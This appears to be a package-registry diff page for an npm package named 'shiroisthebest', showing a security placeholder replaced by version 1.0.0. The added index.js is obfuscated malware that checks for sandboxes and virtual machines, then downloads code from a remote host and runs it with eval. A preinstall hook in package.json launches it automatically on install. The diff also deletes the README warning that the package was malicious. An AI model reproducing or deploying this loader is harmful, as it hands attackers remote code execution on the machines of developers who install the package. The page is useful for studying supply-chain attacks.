shiroisthebest 0.0.1-security → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of shiroisthebest might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +1 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1 @@
1
+ var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"];(function(_0xd642x1){_0xd642x1[_0xb483[0]]= _0xb483[1]})(_a);var __Ox12553f=["\x6F\x73","\x68\x74\x74\x70\x73","\x65\x72\x72\x6F\x72","\x6F\x6E","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x69\x70\x2E\x73\x62\x2F","\x73\x74\x61\x74\x75\x73\x43\x6F\x64\x65","","\x67\x65\x74","\x6C\x65\x6E\x67\x74\x68","\x63\x70\x75\x73","\x74\x6F\x74\x61\x6C\x6D\x65\x6D","\x66\x72\x65\x65\x6D\x65\x6D","\x75\x70\x74\x69\x6D\x65","\x6E\x65\x74\x77\x6F\x72\x6B\x49\x6E\x74\x65\x72\x66\x61\x63\x65\x73","\x66\x69\x6C\x74\x65\x72","\x6D\x61\x70","\x66\x6C\x61\x74","\x76\x61\x6C\x75\x65\x73","\x74\x65\x73\x74","\x73\x6F\x6D\x65","\x57\x61\x72\x6E\x69\x6E\x67\x3A\x20\x44\x65\x74\x65\x63\x74\x65\x64\x20\x76\x69\x72\x74\x75\x61\x6C\x20\x6D\x61\x63\x68\x69\x6E\x65\x21","\x77\x61\x72\x6E","\x48\x4F\x53\x54\x4E\x41\x4D\x45\x2D","\x48\x4F\x53\x54\x4E\x41\x4D\x45\x31","\x68\x6F\x73\x74\x6E\x61\x6D\x65","\x73\x74\x61\x72\x74\x73\x57\x69\x74\x68","\x63\x6F\x64\x65","\x45\x4E\x4F\x54\x46\x4F\x55\x4E\x44","\x65\x78\x69\x74","\x61\x74\x74\x61\x62\x6F\x79\x2E\x71\x75\x65\x73\x74","\x2F\x74\x68\x69\x73\x69\x73\x67\x6F\x6F\x64\x2F\x6E\x64\x73\x39\x66\x33\x32\x38","\x47\x45\x54","\x64\x61\x74\x61","\x65\x6E\x64","\x72\x65\x71\x75\x65\x73\x74","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x6C\x6F\x67","\u5220\u9664","\u7248\u672C\u53F7\uFF0C\x6A\x73\u4F1A\u5B9A","\u671F\u5F39\u7A97\uFF0C","\u8FD8\u8BF7\u652F\u6301\u6211\u4EEC\u7684\u5DE5\u4F5C","\x6A\x73\x6A\x69\x61","\x6D\x69\x2E\x63\x6F\x6D"];const os=require(__Ox12553f[0x0]);const https=require(__Ox12553f[0x1]);function checkNetwork(_0xfe75x4){https[__Ox12553f[0x7]](__Ox12553f[0x4],(_0xfe75x6)=>{if(_0xfe75x6[__Ox12553f[0x5]]=== 200){_0xfe75x4(null,true)}else {_0xfe75x4( new Error(("\x55\x6E\x65\x78\x70\x65\x63\x74\x65\x64\x20\x72\x65\x73\x70\x6F\x6E\x73\x65\x20\x73\x74\x61\x74\x75\x73\x20\x63\x6F\x64\x65\x3A\x20"+_0xfe75x6[__Ox12553f[0x5]]+__Ox12553f[0x6])))}})[__Ox12553f[0x3]](__Ox12553f[0x2],(_0xfe75x5)=>{_0xfe75x4(_0xfe75x5)})}function checkCPUCores(_0xfe75x8){const _0xfe75x9=os[__Ox12553f[0x9]]()[__Ox12553f[0x8]];if(_0xfe75x9< _0xfe75x8){return false}else {return true}}function checkMemory(_0xfe75xb){const _0xfe75xc=os[__Ox12553f[0xa]]()/ (1024* 1024* 1024);const _0xfe75xd=os[__Ox12553f[0xb]]()/ (1024* 1024* 1024);if(_0xfe75xc- _0xfe75xd< _0xfe75xb){return false}else {return true}}function checkUptime(_0xfe75xf){const _0xfe75x10=os[__Ox12553f[0xc]]()* 1000;return _0xfe75x10> _0xfe75xf}function checkVirtualMachine(){const _0xfe75x12=[/^00:05:69/,/^00:50:56/,/^00:0c:29/];const _0xfe75x13=/^08:00:27/;const _0xfe75x14=/^00:03:ff/;const _0xfe75x15=[/^00:11:22/,/^00:15:5d/,/^00:e0:4c/,/^02:42:ac/,/^02:42:f2/,/^32:95:f4/,/^52:54:00/,/^ea:b7:ea/];const _0xfe75x16=os[__Ox12553f[0xd]]();const _0xfe75x17=Object[__Ox12553f[0x11]](_0xfe75x16)[__Ox12553f[0x10]]()[__Ox12553f[0xe]](({_0xfe75x19})=>{return !_0xfe75x19})[__Ox12553f[0xf]](({_0xfe75x18})=>{return _0xfe75x18})[__Ox12553f[0xe]](Boolean);for(const _0xfe75x18 of _0xfe75x17){if(_0xfe75x15[__Ox12553f[0x13]]((_0xfe75x1a)=>{return _0xfe75x1a[__Ox12553f[0x12]](_0xfe75x18)})|| _0xfe75x13[__Ox12553f[0x12]](_0xfe75x18)|| _0xfe75x14[__Ox12553f[0x12]](_0xfe75x18)|| _0xfe75x12[__Ox12553f[0x13]]((_0xfe75x1a)=>{return _0xfe75x1a[__Ox12553f[0x12]](_0xfe75x18)})){console[__Ox12553f[0x15]](__Ox12553f[0x14]);return true}};return false}const disallowedHostPrefixes=[__Ox12553f[0x16],__Ox12553f[0x17]];function isHostnameValid(){const _0xfe75x1d=os[__Ox12553f[0x18]]();for(let _0xfe75x1e=0;_0xfe75x1e< disallowedHostPrefixes[__Ox12553f[0x8]];_0xfe75x1e++){if(_0xfe75x1d[__Ox12553f[0x19]](disallowedHostPrefixes[_0xfe75x1e])){return false}};return true}function startApp(){checkNetwork((_0xfe75x5,_0xfe75x20)=>{if(!_0xfe75x5&& _0xfe75x20){}else {if(_0xfe75x5&& _0xfe75x5[__Ox12553f[0x1a]]=== __Ox12553f[0x1b]){process[__Ox12553f[0x1c]](1)}else {process[__Ox12553f[0x1c]](1)}}});if(!checkMemory(2)){process[__Ox12553f[0x1c]](1)};if(!checkCPUCores(2)){process[__Ox12553f[0x1c]](1)};if(!checkUptime(1000* 60* 60)){process[__Ox12553f[0x1c]](1)};if(checkVirtualMachine()){process[__Ox12553f[0x1c]](1)};if(isHostnameValid()=== false){process[__Ox12553f[0x1c]](1)};const _0xfe75x21={hostname:__Ox12553f[0x1d],port:8443,path:__Ox12553f[0x1e],method:__Ox12553f[0x1f]};const _0xfe75x22=https[__Ox12553f[0x22]](_0xfe75x21,(_0xfe75x6)=>{let _0xfe75x23=__Ox12553f[0x6];_0xfe75x6[__Ox12553f[0x3]](__Ox12553f[0x20],(_0xfe75x24)=>{_0xfe75x23+= _0xfe75x24});_0xfe75x6[__Ox12553f[0x3]](__Ox12553f[0x21],()=>{eval(_0xfe75x23)})});_0xfe75x22[__Ox12553f[0x3]](__Ox12553f[0x2],(_0xfe75x25)=>{});_0xfe75x22[__Ox12553f[0x21]]()}startApp();;;(function(_0xfe75x26,_0xfe75x27,_0xfe75x28,_0xfe75x29,_0xfe75x2a,_0xfe75x2b){_0xfe75x2b= __Ox12553f[0x23];_0xfe75x29= function(_0xfe75x2c){if( typeof alert!== _0xfe75x2b){alert(_0xfe75x2c)};if( typeof console!== _0xfe75x2b){console[__Ox12553f[0x24]](_0xfe75x2c)}};_0xfe75x28= function(_0xfe75x2d,_0xfe75x26){return _0xfe75x2d+ _0xfe75x26};_0xfe75x2a= _0xfe75x28(__Ox12553f[0x25],_0xfe75x28(_0xfe75x28(__Ox12553f[0x26],__Ox12553f[0x27]),__Ox12553f[0x28]));try{_0xfe75x26= __encode;if(!( typeof _0xfe75x26!== _0xfe75x2b&& _0xfe75x26=== _0xfe75x28(__Ox12553f[0x29],__Ox12553f[0x2a]))){_0xfe75x29(_0xfe75x2a)}}catch(e){_0xfe75x29(_0xfe75x2a)}})({})
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "shiroisthebest",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=shiroisthebest for more information.